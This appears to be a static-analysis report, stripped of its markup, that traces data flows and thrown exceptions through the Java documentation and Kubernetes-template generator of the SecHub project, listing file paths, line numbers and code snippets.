+ 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 95 + 20 + 17 + springScheduled + + 15 + + + 95 + appendFixedDelay(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 110 + 42 + 18 + springScheduled + + 15 + + + 110 + private void appendFixedDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 29 + 19 + springScheduled + + 15 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 61 + 20 + fixedDelayString + + 1 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 111 + 10 + 21 + fixedDelayString + + 16 + + + 111 + String fixedDelayString = springScheduled.fixedDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 112 + 27 + 22 + fixedDelayString + + 16 + + + 112 + if (StringUtils.isEmpty(fixedDelayString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 112 + 26 + 23 + isEmpty + + 1 + + + 112 + if (StringUtils.isEmpty(fixedDelayString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 94 + 22 + 17 + springScheduled + + 15 + + + 94 + appendInitialDelay(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 134 + 44 + 18 + springScheduled + + 15 + + + 134 + private void appendInitialDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 31 + 19 + springScheduled + + 15 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 65 + 20 + initialDelayString + + 1 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 10 + 21 + initialDelayString + + 18 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 142 + 28 + 22 + initialDelayString + + 18 + + + 142 + if (!StringUtils.isEmpty(initialDelayString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 142 + 27 + 23 + isEmpty + + 1 + + + 142 + if (!StringUtils.isEmpty(initialDelayString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 94 + 22 + 17 + springScheduled + + 15 + + + 94 + appendInitialDelay(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 134 + 44 + 18 + springScheduled + + 15 + + + 134 + private void appendInitialDelay(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 31 + 19 + springScheduled + + 15 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 65 + 20 + initialDelayString + + 1 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 135 + 10 + 21 + initialDelayString + + 18 + + + 135 + String initialDelayString = springScheduled.initialDelayString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 136 + 27 + 22 + initialDelayString + + 18 + + + 136 + if (StringUtils.isEmpty(initialDelayString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 136 + 26 + 23 + isEmpty + + 1 + + + 136 + if (StringUtils.isEmpty(initialDelayString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 28 + 27 + 10 + list + + 4 + + + 28 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 29 + 23 + 11 + list + + 4 + + + 29 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 35 + 32 + 12 + springValue + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + java/com/daimler/sechub/docgen/spring/MockPropertiesDescriptionGenerator.java + 35 + 27 + 13 + isEmpty + + 1 + + + 35 + if (StringUtils.isEmpty(data.springValue)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 40 + 103 + 9 + fetchMustBeDocumentParts + + 1 + + + 40 + new KubernetesTemplateFilesGenerator().generate(files, new ClasspathDataCollector().fetchMustBeDocumentParts()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 43 + 71 + 10 + list + + 4 + + + 43 + public void generate(KubernetesFiles result, List<DocAnnotationData> list) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 44 + 23 + 11 + list + + 4 + + + 44 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 48 + 3 + 12 + list + + 4 + + + 48 + list.add(newSecret("spring.datasource.username", "database", "Define username for database access")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 49 + 3 + 13 + list + + 4 + + + 49 + list.add(newSecret("spring.datasource.password", "database", "The password for database access")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 52 + 38 + 14 + list + + 4 + + + 52 + generateDeploymentFilePart(result, list); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 86 + 90 + 15 + list + + 4 + + + 86 + private void generateDeploymentFilePart(KubernetesFiles result, List<DocAnnotationData> list) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 88 + 35 + 16 + data + + 4 + + + 88 + generateDeploymentCode(result, data); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 111 + 80 + 17 + data + + 4 + + + 111 + private void generateDeploymentCode(KubernetesFiles result, DocAnnotationData data) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 114 + 28 + 18 + data + + 4 + + + 114 + String inspect = findKey(data); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 231 + 43 + 19 + data + + 4 + + + 231 + private String findKey(DocAnnotationData data) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 233 + 61 + 20 + springValue + + 1 + + + 233 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 46 + 36 + 21 + string + + 6 + + + 46 + public SpringValue extract(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 51 + 23 + 22 + string + + 6 + + + 51 + String[] splitted = string.split("\\$\\{"); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 63 + 14 + 23 + string + + 6 + + + 63 + value.key=string; + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 63 + 9 + 24 + key + + 1 + + + 63 + value.key=string; + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 64 + 11 + 25 + value + + 5 + + + 64 + return value; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 233 + 56 + 26 + extract + + 1 + + + 233 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 233 + 16 + 27 + extracted + + 9 + + + 233 + SpringValue extracted = springValueExtractor.extract(data.springValue); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 235 + 12 + 28 + extracted + + 9 + + + 235 + return extracted.getKey(); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 12 + 11 + 29 + key + + 3 + + + 12 + return key; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 235 + 28 + 30 + getKey + + 1 + + + 235 + return extracted.getKey(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 114 + 27 + 31 + findKey + + 1 + + + 114 + String inspect = findKey(data); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 114 + 10 + 32 + inspect + + 7 + + + 114 + String inspect = findKey(data); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 115 + 26 + 33 + inspect + + 7 + + + 115 + if (inspect == null || inspect.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 118 + 22 + 34 + inspect + + 7 + + + 118 + String springENV = inspect.replace('.', '_').toUpperCase(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 118 + 37 + 35 + replace + + 1 + + + 118 + String springENV = inspect.replace('.', '_').toUpperCase(); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 66 + 45 + 1 + toLowerCase + + 1 + + + 66 + return useCase.getSimpleName().toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 49 + 29 + 2 + createIdentifier + + 1 + + + 49 + sb.append(createIdentifier(useCase)); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 49 + 12 + 3 + append + + 1 + + + 49 + sb.append(createIdentifier(useCase)); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 3 + 4 + sb + + 2 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 5 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 6 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 7 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 8 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 57 + 37 + 9 + path + + 4 + + + 57 + if (alreadyCreatedPathes.contains(path)) { + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 57 + 36 + 10 + contains + + 1 + + + 57 + if (alreadyCreatedPathes.contains(path)) { + + + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 30 + 4 + 1 + ThrowStmt + + 5 + + + 30 + throw new IllegalArgumentException("call with target gen folder as first parameter only!"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 159 + 4 + 1 + ThrowStmt + + 5 + + + 159 + throw new IllegalStateException(e + " folder not found :" + envFolder.getAbsolutePath()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 253 + 5 + 1 + ThrowStmt + + 5 + + + 253 + throw new IOException("Was not able to create secret file:" + secretFile); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 285 + 4 + 1 + ThrowStmt + + 5 + + + 285 + throw new IllegalStateException("folder does not exist:" + folder.getAbsolutePath()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 28 + 4 + 1 + ThrowStmt + + 5 + + + 28 + throw new IllegalArgumentException(); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 100 + 5 + 1 + ThrowStmt + + 5 + + + 100 + throw new IllegalStateException("UseCaseRestDoc annotation may only added one time to test method!"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 152 + 3 + 1 + ThrowStmt + + 5 + + + 152 + throw new IllegalStateException("No restdoc found for Usecase:"+entry.usecaseEntry.getAnnotationName()+"\nIt is annotated as @UseCaseRestDoc, but no restdoc files generated!\n" + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 58 + 4 + 1 + ThrowStmt + + 5 + + + 58 + throw new IllegalStateException("The path: " + path + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 20 + 4 + 1 + ThrowStmt + + 5 + + + 20 + throw new IllegalArgumentException("null not allowed as file!"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 20 + 4 + 1 + ThrowStmt + + 5 + + + 20 + throw new IllegalArgumentException("null not allowed as file!"); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 25 + 5 + 1 + ThrowStmt + + 5 + + + 25 + throw new IOException("was not able to delete existing file:"+targetFile); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 25 + 5 + 1 + ThrowStmt + + 5 + + + 25 + throw new IOException("was not able to delete existing file:"+targetFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 32 + 5 + 1 + ThrowStmt + + 5 + + + 32 + throw new IllegalStateException("Not able to create folder structure for:"+targetFile); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 32 + 5 + 1 + ThrowStmt + + 5 + + + 32 + throw new IllegalStateException("Not able to create folder structure for:"+targetFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 35 + 5 + 1 + ThrowStmt + + 5 + + + 35 + throw new IllegalStateException("was not able to create new file:"+targetFile); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 38 + 21 + 2 + main + + 4 + + + 38 + public static void main(String[] args) throws Exception { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 35 + 5 + 1 + ThrowStmt + + 5 + + + 35 + throw new IllegalStateException("was not able to create new file:"+targetFile); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 21 + 2 + main + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 58 + 1 + ""secret/"" + + 9 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 23 + 2 + File + + 3 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 58 + 1 + ""gen/"" + + 6 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 23 + 2 + File + + 3 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 32 + 1 + ""./sechub-server"" + + 17 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 23 + 2 + File + + 3 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 28 + 1 + ""./../sechub-server"" + + 20 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 19 + 2 + File + + 3 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 33 + 45 + 1 + 